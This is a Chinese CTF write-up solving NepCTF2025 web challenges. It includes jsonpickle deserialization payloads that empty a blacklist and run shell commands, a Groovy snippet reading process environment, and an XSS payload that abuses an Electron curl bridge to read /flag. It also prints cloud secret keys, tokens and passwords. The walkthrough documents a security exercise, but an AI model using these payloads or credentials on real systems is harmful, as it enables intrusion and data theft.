NepCTF2025

web

easyGooGooVVVY RevengeGooGooVVVY

通过尝试发现目标环境对Groovy表达式进行了严格限制,具体表现为:

  1. 不允许在[java.nio.file.Files]上调用方法
  2. 不允许在[java.lang.Class]上调用方法
  3. 不允许在[java.io.BufferedReader]上调用方法
  4. 不允许在String上调用execute()
  5. 不允许在[java.io.File]上进行属性访问(如.text)

def s = new StringBuilder(); def is = new FileInputStream('/proc/1/environ'); int b; while((b=is.read())!=-1) s.append((char)b); s.toString()

JavaSeri

抓包发现回显有rememberMe参数,判断为shiro框架
ShiroAttack2工具一把梭

注意在Java JDK 1.8下运行,其他版本会报错

Safe_bank

先注册登录进去,然后发现需要管理员权限,也就是需要登录admin账号,抓包看cookie,base64解码出来
{"py/object": "__main__.Session", "meta": {"user": "xianxin", "ts": 1753621834}}
直接修改为admin,发现可以直接访问数据库,不过是假flag(果然没这么简单)
去关于我们里面看见是利用jsonpickle,搜索相关文章,找到从源码看JsonPickle反序列化利用与绕WAF
发现可以操控user下的值实现回显,尝试payload,大部分都被禁用,只有这两个个漏网之鱼
列目录:
{'py/object': 'glob.glob', 'py/newargs': {'/*'}}
{'py/object': 'os.listdir', 'py/newargs': ['/']}
读文件:
{'py/object': 'linecache.getlines', 'py/newargs': ['/flag']}

不过传入后还是没有回显,原因如下

JSON 的字符串中,字符串的引号必须用单引号,内部的键值必须用双引号

1
2
3
4
5
6
>import json

>str = '{"a": 123, "b": "456"}'
>str = json.loads(str)
>print(str)
>{'a': 123, 'b': '456'}

如果是 python 的 JSON 格式(字典格式),字符串的引号必须用单引号,内部的键不做要求,但值必须用双引号

1
2
3
4
5
>tmp_json = {}
>body = '{\n\t"general": {\n\t\t"browse_mode": 2\n\t}\n}'
>tmp_json.update({"body": body}) # 也可以 tmp_json.update({'body': body})
>print(tmp_json)
>{'body': '{\n\t"general": {\n\t\t"browse_mode": 2\n\t}\n}'}

如果是 JavaScript 的对象,其键可以用单引号、双引号,甚至不加引号,但页面显示双引号;其值可以用单引号或双引号,但在加了引号的情况下,页面显示是双引号

也就是说我们要用双引号进行传入
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargs": {'/*'}},"ts":1753446854}}
还是没有回显
去查一下jsonpickle源码
主要看unpickler.py
这里有两种标签newargs与newargsex

py/newargs只包含位置参数(一个列表或元组)
py/newargsex包含位置参数和关键字参数(一个元组,第一个元素是位置参数列表,第二个元素是关键字参数字典)

两个标签处理的对象存在差别,py/newargs是给实现了__new__的对象用的。而我们的py/newargsex是给没实现__new__的old-style class用的
这里都尝试一下,发现需要用py/newargsex才能打通
{"py/object": "__main__.Session", "meta": {"user":{"py/object": "glob.glob","py/newargsex":[["/*"],{}]},"ts":1753446254}}
成功得到回显
['/run', '/bin', '/usr', '/etc', '/mnt', '/home', '/var', '/srv', '/sys', '/proc', '/sbin', '/lib64', '/media', '/opt', '/lib', '/dev', '/tmp', '/boot', '/root', '/flag', '/entrypoint.sh', '/readflag', '/app']
发现需要RCE才能readflag
尝试另外一个payload读取源码
{"py/object": "__main__.Session", "meta": {"user":{"py/object": "linecache.getlines","py/newargsex":[["/app/app.py"],{}]},"ts":1753446254}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle, base64, json, os, time

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Account:
def __init__(self, uid, pwd):
self.uid, self.pwd = uid, pwd

class Session:
def __init__(self, meta):
self.meta = meta

users_db = [Account("admin", os.urandom(16).hex()), Account("guest", "guest")]

def register_user(username, password):
if any(acc.uid == username for acc in users_db):
return False
users_db.append(Account(username, password))
return True

FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
'__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized):
try:
payload = json.dumps(json.loads(serialized), ensure_ascii=False)
return next((bad for bad in FORBIDDEN if bad in payload), None)
except:
return "error"

@app.route('/')
def root():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
u, p, cp = [request.form.get(k) for k in ['username', 'password', 'confirm_password']]
if not all([u, p, cp]):
return render_template('register.html', error="所有字段都是必填的。")
if p != cp:
return render_template('register.html', error="密码不匹配。")
if len(u) < 4 or len(p) < 6:
return render_template('register.html', error="用户名至少4字符,密码至少6字符。")
if register_user(u, p):
return render_template('index.html', message="注册成功!请登录。")
return render_template('register.html', error="用户名已存在。")
return render_template('register.html')

@app.post('/auth')
def auth():
u, p = request.form.get("u"), request.form.get("p")
for acc in users_db:
if acc.uid == u and acc.pwd == p:
sess = Session({'user': u, 'ts': int(time.time())})
token = base64.b64encode(jsonpickle.encode(sess).encode()).decode()
resp = make_response("登录成功。")
resp.set_cookie("authz", token)
resp.headers.update({'Location': '/panel', 'Status': '302'})
return resp
return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root', error="缺少Token。"))
try:
decoded = base64.b64decode(token.encode()).decode()
except:
return render_template('error.html', error="Token格式错误。")
if (ban := waf(decoded)):
return render_template('error.html', error=f"请不要黑客攻击!{ban}")
try:
sess = jsonpickle.decode(decoded, safe=True)
return render_template('admin_panel.html' if sess.meta.get("user") == "admin" else 'user_panel.html', username=sess.meta.get('user'))
except:
return render_template('error.html', error="数据解码失败。")

@app.route('/vault')
def vault():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root'))
try:
decoded = base64.b64decode(token.encode()).decode()
if waf(decoded):
return render_template('error.html', error="请不要尝试黑客攻击!")
sess = jsonpickle.decode(decoded, safe=True)
if sess.meta.get("user") != "admin":
return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")
return render_template('vault.html', flag="NepCTF{fake_flag_this_is_not_the_real_one}")
except:
return redirect(url_for('root'))

@app.route('/about')
def about():
return render_template('about.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

这里黑名单太过恐怖,不过可以利用list.clear()清空黑名单
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}
然后就可以RCE了,参考上面文章的payload
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["mkdir static"]},"ts":1753446254}}
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["/readflag > /static/1.txt"]},"ts":1753446254}}
然后读flag即可
{"py/object": "__main__.Session", "meta": {"user":{"py/object": "linecache.getlines","py/newargsex":[["/static/1.txt"],{}]},"ts":1753446254}}

fakeXSS

该题给了一个exe文件,可以安装客户端,这里用7z对该exe文件进行解包,然后找到app.asar文件放到解包工具winAsar拿到源码
index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>输入远程地址</title>
<style>
body { font-family: sans-serif; text-align: center; margin-top: 100px; }
input { padding: 8px; width: 60%; }
button { padding: 8px 16px; margin-left: 10px; }
</style>
</head>
<body>
<h1>请输入远程靶机地址来访问</h1>
<input id="remoteInput" type="text" placeholder="例如:http://localhost:3000" />
<button onclick="submit()">前往</button>

<script>
function submit() {
const input = document.getElementById('remoteInput').value.trim();
if (input) {
window.electronAPI.loadRemoteURL(input);
} else {
alert('请输入有效的地址');
}
}
</script>
</body>
</html>

main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const { exec } = require('child_process');

let mainWindow = null;

function createWindow() {
mainWindow = new BrowserWindow({
width: 1600,
height: 1200,
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
contextIsolation: true,
}
});

// 默认加载本地输入页面
mainWindow.loadFile('index.html');
}

app.whenReady().then(createWindow);

// 接收用户输入的地址并加载它
ipcMain.handle('load-remote-url', async (event, url) => {

if (mainWindow) {
mainWindow.loadURL(url);
}
});

ipcMain.handle('curl', async (event, url) => {
return new Promise((resolve) => {

const cmd = `curl -L "${url}"`;

exec(cmd, (error, stdout, stderr) => {
if (error) {
return resolve({ success: false, error: error.message });
}
resolve({ success: true, data: stdout });
});
});
});

package.json

1
2
3
4
5
{
"name": "client-app",
"version": "1.0.0",
"main": "main.js"
}

preload.js

1
2
3
4
5
6
const { contextBridge, ipcRenderer } = require('electron');

contextBridge.exposeInMainWorld('electronAPI', {
loadRemoteURL: (url) => ipcRenderer.invoke('load-remote-url', url),
curl : (url) => ipcRenderer.invoke('curl', url)
});

然后我们去看一看网页端,这里upload接口抓包

发现为腾讯云COS,找AI搓了个脚本

这里面的存储桶地域和存储桶名称通过解码抓包数据中的auth获得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import os
import sys
import logging
import json

# 设置日志
logging.basicConfig(level=logging.INFO, stream=sys.stdout)

# 将您的凭证信息赋值给变量
CREDENTIAL_JSON = """
{
"Token": "o1dTCLy36JwW5gyAFHQ6HJ5u4PQbbAWa0426b5bac9dde351740ce3d127409045GA_5hqwYTRy6-u-_rFaIU5pfH3RqBCd_NZy5dmjjgYsCG4cymHYUDiZFmQsr8WASsr3BK_X3EF052YR-8lAfmj0u0hWEKuKkN08HmtJqgLX4v31f029KezHENwrPoLer41FBOIdloiJZ6DDaDsjdTFeDthu_9jbJfcr3iW26vnvvwu2_9lqTJ3bKmE9OrpAXfpTIkAdbdz7QcFBK8prEzI5xUT-suEnS-3B8O8K-wvahlrg2karfaW7eAq1MpcETmRPWtVeelilBhht7gbIQw_JzODKR60-pTOb0LRMRFgZjMP6pUFWcYG31I4sa2BRgbNj2ZSq8vgeW2uokJrq-gG96xsyY0qBXllwsGP7cKo0lhay3zByxU89jut57cRx0zID5zmE0gHJEFCnS2UQzHmpopUf7pQQqAKvXTtFf8Spe5rDeyzAc-9KDLJQ2Z9KgYr_ynKKSup2qWzBnsf1gXg",
"TmpSecretId": "AKIDuYsMR0aoG99rfc6xNmOlKsdxO4Vkd1xHUUlKahVWIf6o6peNbJcfSt4XPkaAEZZ3",
"TmpSecretKey": "oLzNfA3rAWPDAFfGeU5IcCgONWQ+gnDM2JQ9xKtUXwE="
}
"""

# ================= 在代码内直接设置参数 =================
REGION = "ap-guangzhou" # 存储桶地域
BUCKET_NAME = "test-1360802834" # 存储桶名称 (格式:BucketName-APPID)
PREFIX = "documents/" # 文件前缀过滤
DOWNLOAD_DIR = "./cos_downloads" # 下载文件保存目录
AUTO_CONFIRM_DOWNLOAD = True # 是否自动确认下载(设为False则需要手动确认)
# =====================================================

def init_cos_client(credential, region):
"""
使用凭证信息初始化COS客户端
"""
config = CosConfig(
Region=region,
SecretId=credential["TmpSecretId"],
SecretKey=credential["TmpSecretKey"],
Token=credential["Token"],
Scheme='https'
)
return CosS3Client(config)

def list_all_cos_files(client, bucket_name, prefix=''):
"""
列出 COS 存储桶中的所有文件
"""
marker = ""
is_truncated = True
file_list = []

try:
print(f"开始列出存储桶 {bucket_name} 中的文件...")
while is_truncated:
response = client.list_objects(
Bucket=bucket_name,
Prefix=prefix,
Marker=marker,
MaxKeys=1000
)

if 'Contents' in response:
for content in response['Contents']:
if not content['Key'].endswith('/'):
file_info = {
'Key': content['Key'],
'Size': content['Size'],
'LastModified': content['LastModified']
}
file_list.append(file_info)
print(f"文件 #{len(file_list)}: {content['Key']} (大小: {content['Size']} 字节)")

is_truncated = response['IsTruncated'] == 'true'
marker = response.get('NextMarker', "")

print(f"共找到 {len(file_list)} 个文件")
return file_list

except Exception as e:
print(f"操作失败: {str(e)}")
sys.exit(1)

def download_cos_files(client, bucket_name, file_list, local_dir):
"""
下载 COS 文件到本地目录
"""
if not os.path.exists(local_dir):
os.makedirs(local_dir)

success_count = 0
skip_count = 0
fail_count = 0

for file_info in file_list:
key = file_info['Key']
# 处理路径分隔符问题
local_path = os.path.join(local_dir, key.replace('/', os.sep))

file_dir = os.path.dirname(local_path)
if file_dir and not os.path.exists(file_dir):
os.makedirs(file_dir, exist_ok=True)

if os.path.exists(local_path):
print(f"跳过已存在的文件: {key}")
skip_count += 1
continue

try:
print(f"下载中: {key} -> {local_path}")
response = client.get_object(Bucket=bucket_name, Key=key)
response['Body'].get_stream_to_file(local_path)
success_count += 1
print(f"下载成功: {key}")
except Exception as e:
print(f"下载失败 [{key}]: {str(e)}")
fail_count += 1

print(f"下载完成! 成功: {success_count}, 跳过: {skip_count}, 失败: {fail_count}")

def main():
# 解析凭证JSON
try:
credential = json.loads(CREDENTIAL_JSON)
print("凭证信息加载成功")
except json.JSONDecodeError as e:
print(f"凭证JSON解析失败: {str(e)}")
sys.exit(1)

# 验证凭证格式
required_keys = ["Token", "TmpSecretId", "TmpSecretKey"]
for key in required_keys:
if key not in credential:
print(f"凭证信息缺少必要的键: {key}")
sys.exit(1)

# 初始化客户端
client = init_cos_client(
credential=credential,
region=REGION
)

# 列出文件
file_list = list_all_cos_files(
client=client,
bucket_name=BUCKET_NAME,
prefix=PREFIX
)

# 如果设置了下载目录,则处理下载
if DOWNLOAD_DIR and file_list:
if AUTO_CONFIRM_DOWNLOAD:
print(f"开始自动下载 {len(file_list)} 个文件到 '{DOWNLOAD_DIR}'")
download_cos_files(
client=client,
bucket_name=BUCKET_NAME,
file_list=file_list,
local_dir=DOWNLOAD_DIR
)
else:
confirm = input(f"是否要下载 {len(file_list)} 个文件到 '{DOWNLOAD_DIR}'? [y/N]: ")
if confirm.lower() == 'y':
download_cos_files(
client=client,
bucket_name=BUCKET_NAME,
file_list=file_list,
local_dir=DOWNLOAD_DIR
)
else:
print("下载操作已取消")

if __name__ == "__main__":
main()

这里在最后找到www/flag.txt
通过url下载下来发现还是假flag
https://test-1360802834.cos.ap-guangzhou.myqcloud.com/www/flag.txt
fake{看看www/server_bak.js对象}
提示要下载www/server_bak.js
https://test-1360802834.cos.ap-guangzhou.myqcloud.com/www/server_bak.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const tencentcloud = require("tencentcloud-sdk-nodejs");
const path = require('path');
const fs = require('fs');
const { v4: uuidv4 } = require('uuid');
const { execFile } = require('child_process');
const he = require('he');


const app = express();
const PORT = 3000;

app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});

// 配置会话
app.use(session({
secret: 'ctf-secret-key_023dfpi0e8hq',
resave: false,
saveUninitialized: true,
cookie: { secure: false , httpOnly: false}
}));

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));

// 用户数据库
const users = {'admin': { password: 'nepn3pctf-game2025', role: 'admin', uuid: uuidv4(), bio: '' }};
// 存储登录页面背景图片 URL
let loginBgUrl = '';

// STS 客户端配置
const StsClient = tencentcloud.sts.v20180813.Client;
const clientConfig = {
credential: {
secretId: "AKIDRkvufDXeZJpB4zjHbjeOxIQL3Yp4EBvR",
secretKey: "NXUDi2B7rOMAl8IF4pZ9d9UdmjSzKRN6",
},
region: "ap-guangzhou",
profile: {
httpProfile: {
endpoint: "sts.tencentcloudapi.com",
},
},
};
const client = new StsClient(clientConfig);

// 注册接口
app.post('/api/register', (req, res) => {
const { username, password } = req.body;
if (users[username]) {
return res.status(409).json({ success: false, message: '用户名已存在' });
}
const uuid = uuidv4();
users[username] = { password, role: 'user', uuid, bio: '' };
res.json({ success: true, message: '注册成功' });
});

// 登录页面
app.get('/', (req, res) => {
let loginHtml = fs.readFileSync(path.join(__dirname, 'public', 'login.html'), 'utf8');
if (loginBgUrl) {
const key = loginBgUrl.replace('/uploads/', 'uploads/');
const fileUrl = `http://ctf.mudongmudong.com/${key}`;

const iframeHtml = `<iframe id="backgroundframe" src="${fileUrl}" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>`;
loginHtml = loginHtml.replace('</body>', `${iframeHtml}</body>`);
}
res.send(loginHtml);
});



// 登录接口
app.post('/api/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];

if (user && user.password === password) {
req.session.user = { username, role: user.role, uuid: user.uuid };
res.json({ success: true, role: user.role });
} else {
res.status(401).json({ success: false, message: '认证失败' });
}
});

// 检查用户是否已登录
function ensureAuthenticated(req, res, next) {
if (req.session.user) {
next();
} else {
res.status(401).json({ success: false, message: '请先登录' });
}
}

// 获取用户信息
app.get('/api/user', ensureAuthenticated, (req, res) => {
const user = users[req.session.user.username];
res.json({ username: req.session.user.username, role: req.session.user.role, uuid: req.session.user.uuid, bio: user.bio });
});

// 获取头像临时密钥
app.get('/api/avatar-credentials', ensureAuthenticated, async (req, res) => {
const params = {
Policy: JSON.stringify({
version: "2.0",
statement: [
{
effect: "allow",
action: ["cos:PutObject"],
resource: [
`qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/picture/${req.session.user.uuid}.png`
],
Condition: {
numeric_equal: {
"cos:request-count": 5
},
numeric_less_than_equal: {
"cos:content-length": 10485760 // 10MB 大小限制
}
}
},
{
effect: "allow",
action: ["cos:GetBucket"],
resource: [
"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*"
]
}
]
}),
DurationSeconds: 1800,
Name: "avatar-upload-client"
};

try {
const response = await client.GetFederationToken(params);
const auth = Buffer.from(JSON.stringify(params.Policy)).toString('base64');
res.json({ ...response.Credentials, auth });
} catch (err) {
console.error("获取头像临时密钥失败:", err);
res.status(500).json({ error: '获取临时密钥失败' });
}
});

// 获取文件上传临时密钥(管理员)
app.get('/api/file-credentials', ensureAuthenticated, async (req, res) => {
if (req.session.user.role !== 'admin') {
return res.status(403).json({ error: '权限不足' });
}

const params = {
Policy: JSON.stringify({
version: "2.0",
statement: [
{
effect: "allow",
action: ["cos:PutObject"],
resource: [
`qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/uploads/${req.session.user.uuid}/*`
],
Condition: {
numeric_equal: {
"cos:request-count": 5
},
numeric_less_than_equal: {
"cos:content-length": 10485760
}
}
},
{
effect: "allow",
action: ["cos:GetBucket"],
resource: [
"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*"
]
}
]
}),
DurationSeconds: 1800,
Name: "file-upload-client"
};

try {
const response = await client.GetFederationToken(params);
const auth = Buffer.from(JSON.stringify(params.Policy)).toString('base64');
res.json({ ...response.Credentials, auth });
} catch (err) {
console.error("获取文件临时密钥失败:", err);
res.status(500).json({ error: '获取临时密钥失败' });
}
});

// 保存个人简介(做好 XSS 防护)
app.post('/api/save-bio', ensureAuthenticated, (req, res) => {
const { bio } = req.body;
const sanitizedBio = he.encode(bio);
const user = users[req.session.user.username];
user.bio = sanitizedBio;
res.json({ success: true, message: '个人简介保存成功' });
});

// 退出登录
app.post('/api/logout', ensureAuthenticated, (req, res) => {
req.session.destroy();
res.json({ success: true });
});

// 设置登录页面背景
app.post('/api/set-login-bg', ensureAuthenticated, async (req, res) => {
if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}
const { key } = req.body;
bgURL = key;
try {
const fileUrl = `http://ctf.mudongmudong.com/${bgURL}`;
const response = await fetch(fileUrl);
if (response.ok) {
const content = response.text();
} else {
console.error('获取文件失败:', response.statusText);
return res.status(400).json({ success: false, message: '获取文件内容失败' });
}
} catch (error) {
return res.status(400).json({ success: false, message: '打开文件失败' });
}
loginBgUrl = key;
res.json({ success: true, message: '背景设置成功' });
});



app.get('/api/bot', ensureAuthenticated, (req, res) => {

if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}

const scriptPath = path.join(__dirname, 'bot_visit');

// bot 将会使用客户端软件访问 http://127.0.1:3000/ ,但是bot可不会带着他的秘密去访问哦

execFile(scriptPath, ['--no-sandbox'], (error, stdout, stderr) => {
if (error) {
console.error(`bot visit fail: ${error.message}`);
return res.status(500).json({ success: false, message: 'bot visit failed' });
}

console.log(`bot visit success:\n${stdout}`);
res.json({ success: true, message: 'bot visit success' });
});
});

// 下载客户端软件
app.get('/downloadClient', (req, res) => {
const filePath = path.join(__dirname, 'client_setup.zip');

if (!fs.existsSync(filePath)) {
return res.status(404).json({ success: false, message: '客户端文件不存在' });
}

res.download(filePath, 'client_setup.zip', (err) => {
if (err) {
console.error('client download error: ', err);
return res.status(500).json({ success: false, message: '下载失败' });
} else {
}
});
});

// 启动服务器
app.listen(PORT, () => {
console.log(`服务器运行在端口 ${PORT}`);
});

首先看到看到管理员密码nepn3pctf-game2025,可以登录admin账号了,也就是可以设置登录页面背景,这里重点看设置登录页面背景路由下的这一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 设置登录页面背景
app.post('/api/set-login-bg', ensureAuthenticated, async (req, res) => {
if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}
const { key } = req.body;
bgURL = key;
try {
const fileUrl = `http://ctf.mudongmudong.com/${bgURL}`;
const response = await fetch(fileUrl);
if (response.ok) {
const content = response.text();
} else {
console.error('获取文件失败:', response.statusText);
return res.status(400).json({ success: false, message: '获取文件内容失败' });
}
} catch (error) {
return res.status(400).json({ success: false, message: '打开文件失败' });
}
loginBgUrl = key;
res.json({ success: true, message: '背景设置成功' });
});

以及登录页面路由下的这一段代码

1
2
3
4
5
6
7
8
9
10
11
12
// 登录页面
app.get('/', (req, res) => {
let loginHtml = fs.readFileSync(path.join(__dirname, 'public', 'login.html'), 'utf8');
if (loginBgUrl) {
const key = loginBgUrl.replace('/uploads/', 'uploads/');
const fileUrl = `http://ctf.mudongmudong.com/${key}`;

const iframeHtml = `<iframe id="backgroundframe" src="${fileUrl}" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>`;
loginHtml = loginHtml.replace('</body>', `${iframeHtml}</body>`);
}
res.send(loginHtml);
});

可以注意到这里fileUrl直接拼接进了代码里面,如果能通过设置登录页面背景路由传入恶意数据通过引号闭合代码,即可达成xss
这里bot本身并没有带flag,但是其是通过客户端登录进行访问的,前面解包客户端源代码有这样一段curl接口

1
2
3
4
5
6
7
8
9
10
11
12
13
ipcMain.handle('curl', async (event, url) => {
return new Promise((resolve) => {

const cmd = `curl -L "${url}"`;

exec(cmd, (error, stdout, stderr) => {
if (error) {
return resolve({ success: false, error: error.message });
}
resolve({ success: true, data: stdout });
});
});
});

而原生curl是可以进行file协议读取的,这里利用bot调用electronAPI的curl接口进行文件读取,
不出网,借助/api/save-bio回显,让bot带着admin的cookie把flag的内容搞到admin的bio
paylaod如下
{"key":"x\" onload=\"window.electronAPI.curl('file:///flag').then(data=>{fetch('http://127.0.0.1:3000/api/save-bio,{method:'POST',headers:{'Content-Type':'application/json','Cookie':'connect.sid=s%3AoUBBMSHFzxv_b9f-yyL1SjXXB0JSe8xp.%2FyM1LGMWW2X8fEuFXtDJTg%2Ffebh93oEUjV8ZJhniWlw'},body:JSON.stringify({'bio':data})}}\" x=\""}
拼接后在前端效果如下

这里触发bot访问,然后即可拿到flag